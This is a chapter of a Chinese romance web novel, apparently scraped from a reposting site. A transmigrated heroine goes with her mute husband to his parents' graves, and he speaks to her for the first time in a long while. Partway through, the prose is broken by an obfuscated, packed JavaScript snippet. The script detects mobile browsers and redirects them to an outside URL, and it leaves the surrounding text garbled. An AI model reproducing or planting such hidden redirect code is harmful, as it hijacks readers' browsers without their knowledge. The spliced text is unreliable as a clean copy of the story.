渡寒手札称为某某

26. 第 26 章

“多少,我给你。”姜去寒问着准备掏荷包。


她倒要看看容定有没有虚报。


容安微愣,很快反应过来,将原本报的的价格压低了些。


“三两。”


“……”姜去寒就知道,“那他不给你,要那么多银两做什么。”


“去青楼吧。”容安轻飘飘来了一句。


“别胡说,小定儿才十六,去什么青楼。”姜去寒将三两碎银递给容安,“拿去吧。”


下次见到容定她得好好问问。


容安接过钱,一声不吭又走了,甚至没有随手关门。


还真是高冷,姜去寒摇了摇头,又一个没狸猫的小子啊。


腹黑容安是不会告诉姜去寒,学杂费只要一千文不到,就是一两不到。


有钱不多拿是傻子。


姜去寒:……


秋嬷嬷和福伯采买回来的时候,姜去寒正将话本盖在脸上,百无聊赖地躺在太师椅上摇摇晃晃。


听到动静,姜去寒取下书,一骨碌爬起来,就见秋嬷嬷和福伯两人拎了许多东西往院里头走。


“秋嬷嬷,福伯,今日怎么买了这么多东西?”她好奇问道。


“回少夫人的话,明日是个特殊的日子。”福伯道。


“什么日子?”姜去寒搜索了一下记忆,不是她的生日。


难道是家里有人要过生日?


姜去寒发现自己居然不知道容祁的生日。


“是少爷爹娘的忌日。”秋嬷嬷走到姜去寒身边小声道,“明日少爷会去祭奠夫人和老爷,所以老奴要先准备些纸钱和吃食。”


姜去寒愣了愣。


她还真不知道这件事,只知道容祁的爹娘走得早,因何故而死却一无所知。


“少夫人明日要和少爷一起去吗?”秋嬷嬷悄悄打听道。


两人成婚几年,少夫人都未曾关心过此事,只不过现在少夫人大变样了,于是秋嬷嬷又问道。


姜去寒扯了扯衣摆,有些纠结。


她作为容祁的妻子,理应是该去祭拜一下逝去的公婆。


只是她又担心,自己贸然跟容祁一块去,他会觉得冒犯,或是不自在。


“这事我还是问问阿祁吧。”


“好。”秋嬷嬷放下心来,少夫人还是愿意跟少爷一起去的。


“秋嬷嬷,有什么我可以帮忙的吗?”姜去寒挽起袖子,跟在秋嬷嬷身边。


秋嬷嬷无奈地笑道:“哪能让您来干活啊。”


“没事呀,我对烹饪很感兴趣的,”姜去寒抱怨道,“不然我在家里好无聊呢。”


“那好吧。”秋嬷嬷总是拗不过她,每每都妥协答应。


“秋嬷嬷,你说我要是在院子里养只小猫小狗小兔子怎么样?”姜去寒学着秋嬷嬷的样子揉面,很快上手。


没想到秋嬷嬷面露难色,连忙阻止道:“少爷不太喜欢这些小动物,说是怕会把院子里的草药给折腾坏。”


“这样啊……”姜去寒颇有些遗憾地拉长音调。


还确实是这样。


“少夫人要是觉得无聊的话,可以和京城里的其他夫人去搓搓麻将喝喝茶,”秋嬷嬷提议道,“您性格这么好,定是和谁都聊得来。”


“倒也是可以。”姜去寒道。


不可以。


她是个社交悍匪不错,但她清晰地认识到自己是在小说中,一不小心就会卷入后宅宫斗中,成为作者设计情节中的一环。


况且还是在古代,她哪斗的过,一不小心就给陷害死了,所以必须得谨言慎行。


这就是她成天躲在家里不社交的原因。


她想好好活着。


本想晚上问问容祁一块去祭奠他父母的事情,没想到她因为前一晚没睡好、白天又忙碌了一整天的缘故,吃完晚饭倒头就睡着了。


好在睡得早第二天起得也早。


一大早就在院子里活动筋骨了。


容祁照例起得早,看到院子里难得的一抹倩影,差点以为自己眼花了。


姜去寒正做到扩胸运动,一回头看到容祁站在长廊,静静看着自己。


红墙廊柱,白衣狐裘披风美男。


养眼。


“早啊,阿祁!”


姜去寒朝他挥了挥手,容祁顺势抬脚朝她走来。


“阿祁,昨晚秋嬷嬷同你说了吗,我今天,”姜去寒犹豫了下,还是鼓起勇气问道,“我今天可以跟你一起去吗?”


容祁没回应,只是定定看着她。


姜去寒一下忽然觉得有些尴尬,立刻开始飞快找补:“我只是蛮问问如果你觉得不方便的话就直接拒绝我吧没关系的,如果你觉得冒犯我给你道歉我不是故意的你别往心去……”


容祁点了下头。


其实昨晚秋嬷嬷昨晚就同他说了,起初还觉得没什么。


可这时亲耳听到这话从她嘴里说出来,突然有些触动。


姜去寒懵了,点头是什么意思,是一起去还是觉得冒犯。


“我今天和你一起去?”她不确定地问了一句。


容祁又点头。


姜去寒长舒一口气,马上又明媚了起来。


容氏夫妇的墓碑立在郊外山上。


天公应景,阿药驾着车走到半路,就下起了毛毛细雨。


到快半山腰,马车不适合再往上走,只能徒步上去,好在只有一点距离。


姜去寒拢了拢身上的袍子,现在已经差不多要入冬,再下上一场毛毛雨,更是有些刺骨的凉意了。


她吸了吸鼻子,容祁不知道从什么地方拿出个小手炉,递给她。


“谢谢阿祁。”她抬头,忽然发现容祁手中的伞正朝她倾斜着。


容祁垂眸看她的模样,忽然有些后悔今日答应带她来了,没想到会突然下雨。


好在雨只下了一会,待两人到了立碑之地,雨就停了。


容祁擦拭着夫妻二人的墓碑,姜去寒在一边帮忙摆着贡品,很意外的是,明明名声朗朗妙手回春的容氏夫妇,墓碑却意外的简陋。


尽管好奇,姜去寒也没有问出口。


冷冷清清的,她换了个问题:“容姝和容安容定呢?他们今日不来吗?”


容祁听到这句话,顿了顿,随后摇头,面色晦暗不明。


姜去寒才了然是有隐情,连忙不再问了。


上完香,容祁静静跪在一旁,时间不知过去了多久,他明明一直无言,她却感觉他朝那两个墓碑诉说了许多。


姜去寒倒还从来没有见过他这个样子。


眉眼间褪去那几分疏离淡漠,取而代之的难言的伤感和落寞,满是破碎感。


压抑地氛围令人喘不过气,姜去寒上前两步,也轻跪在墓碑前、容祁的旁边,斟酌了下后开口。


“爹娘,我是小姜,是阿祁的妻子,很抱歉和阿祁成婚这么久才来看您二位。”<


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666441|171323||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


p>容祁听到声音一怔,耳后缓缓抬起头看向身边的女子。


“今日带来的糕点是我亲手做的,是和秋嬷嬷学的,还不太熟练,快尝尝合不合胃口?”


“阿祁在院子里种的草药也长得很好,小姝、容安容定也有在好好读书……”


容祁静静地听着她将家里的一切娓娓道来,看着的侧脸,忽而笑的眉眼弯弯又忽而委屈巴巴诉说。


有种很不一样的感觉。


她果然跟谁都能聊起来。


“你们放心噢,阿祁被我照顾的很好,吃嘛嘛香身体倍儿棒,我们感情也很好!”


听到那句他被她照顾的很好,容祁忍不住弯唇低笑出声。


听到身旁的动静,姜去寒的诉说的声音戛然而止,怀疑自己听错了。


“谢谢。”你陪我来。


容祁忽然开口。


她没听错。


姜去寒猛的扭过头,眼里满是惊喜:“阿祁,你又开口说话了!”


容祁自己也错愕。


回想起来唯有的几次开口,好像姜去寒都在。


和她呆在一起听她说个不停的时候,总感觉心里那股阻碍他开口说话的劲儿总是会被削弱一些。


她对他好像真的有些特别。


他对她好像有些特别的感觉。


“阿祁,其实你是会说话的对不对,可是你为什么不说话?”姜去寒激动的忍不住凑上去问道。


可容祁又说不出话了。


姜去寒干着急,可手边也没有纸笔,只好作罢。


容祁率先站了起来,示意她该下山了。


姜去寒跟着他站起来,和容氏夫妇的墓碑乖巧地打了声招呼,并道来年再和容祁来看望他们。


她心事重重地跟在容祁身边,心里有太多想问的事情不知如何开口。


结果没留意脚下,脚一滑就要往后倒。


她惊呼一声,腰却被结实的手臂稳稳环住。


四目相对。


世界好像静止,像过了很久很久,却也不过只是几秒钟的时间。


容祁忽然觉得与她接触的地方陡然发烫,不知名的氛围在两人间蔓延。


姜去寒闭上眼。


好家伙,这糟糕的老套剧情终于也是发生在她身上了。


她一个鲤鱼打挺直起了身子,脸微微泛红,声若蚊蝇道了声谢谢。


容祁面色如常,只是手臂还放在她腰后一个手掌的距离,生怕她又跌倒。


姜去寒这下是不敢再胡思乱想了。


刚下过雨的山路满是泥泞,还是得专心看路。


回到马车上,阿药已经等候多时。


两个人忽然装进一个相对狭小的空间,气氛莫名有些尴尬。


姜去寒盯着自己沾了些泥的绣鞋。


看似看鞋,实则不敢抬头。


饶是她张口就来,此时也不知道该如何开口。


本以为那些那些女主摔倒,男主眼疾手快拖住女主的腰然后两人深情对视的情节,只会发生在电视剧。


看着还挺浪漫的,她怎么觉得自己经历完,脚趾头又要开始动工了。


容祁那边传出些窸窸窣窣的声音。


姜去寒心里好奇的要命,却又没想好抬头该说什么,心里天人交战的直痒痒。


直到容祁递过来一张纸,上面是刚写上去的几个字,字迹水墨还未干透。


——想听我的故事吗?